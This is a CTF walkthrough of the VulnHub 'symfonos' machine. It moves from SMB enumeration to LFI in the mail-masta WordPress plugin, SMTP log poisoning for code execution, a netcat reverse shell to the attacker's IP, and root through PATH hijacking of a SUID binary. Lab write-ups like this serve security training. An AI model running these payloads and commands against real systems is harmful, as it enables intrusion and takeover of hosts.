This is another post on vulnhub CTF “named as “symfonos” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.
You can download it from here: https://www.vulnhub.com/entry/symfonos-1,322/
Level : Beginner to Intermediate
Penetrating Methodologies
Scanning
· Netdiscover
· Nmap
Enumeration
· SMB Shares folder
· Wpscan
Exploiting
· Exploiting WordPress again LFI
· LFI to RCE via SMTP log Poising
Privilege Escalation
· PATH Variable
· Capture the flag
Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover
So, we have our target IP 192.168.0.16. Now, let’s scan the services and ports via nmap.
Enumeration
After scanning, we go to network enumeration and for that I used enum4linux. Here I found a user account helios and share directory /anonymous & /helios
enum4linux -a 192.168.0.16
So try to connect with shared network for accessing /anonymous directory by connecting through smb.
So, in this shared folder I found a text file that I had explored here as shown below. The /attention.txt file gave some hint for user password as highlighted in the image. Hopefully we can use any of these passwords to access shared folder /helios.
Further I try to access /helios using “qwerty” as login password and then I explored other files research.txt and todo.txt, although the research.txt was not much helpful but todo.txt left gave a hint for /h3l105that could be web file or web directory.
So, navigate to web browser to access /h3l105and found it as a WordPress website
Then I have added the host inside /etc/hosts file and move ahead for scanning vulnerability.
Further we used wpscan for vulnerability scanning on the website. To do so we run the following command:
wpscan –url http://symfonos.local/h3l105/--enumerate p
Wpscan shown the exploit is available for plugin which is vulnerable to LFI (Local File Inclusion).
On exploring following link, we got proof-of-concept would be to load passwd file.
https://www.exploit-db.com/exploits/40290
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
As result we have accessed the passwd file and it proved that this site is vulnerable to LFI. Now through this LFI I will try to create Remote code execution.
http:symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
To escalate LFI to RCE we can use SMTP log poison approach and therefore we connect to smtp service via telnet and they type following command to inject malicious php code.
telnet 192.168.0.16 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and inject malicious php code via data.
As our goal is to inject PHP code into the logs and this stage is called logfile poisoning and we can clearly see that details of mail.log, as well as execute comment given through cmd (c); now execute id as cmd comment to verify user-id and confirm its result from inside the given screenshot.
http:symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/mail/helios&c=id
This technique is known as SMTP log poisoning and through such type of vulnerability, we can easily take the reverse shell of the victim’s machine.
Therefore, execute following URL to run netcat reverse command and start netcat listener on kali:
http:symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/mail/helios&c=nc -e /bin/sh 192.168.0.10 1234
Wow!! We got reverse connection on netcat as shown in the below image. Further we need to escalate the privilege from low privilege shell to higher.
nc -lvp 1234
Therefore, on spawning local shell I use find command to identify SUID enable binaries. Here I found SUID bit, is enabled for /opt/statuscheck.
find / -perm -u=s -type f 2>/dev/null
Further, we use string command for extracting meta data of statuscheck where it was trying to call curl but get fatal error when program execute. Such type of error occurs due to missing path variable in the current directory.
To know more, read from here: Linux Privilege Escalation Using PATH Variable
Taking advance of this loophole we try to export path for rouge curl which will call /bin/bash on executing the statuscheck program
cd /tmp
echo "/bin/bash"> curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
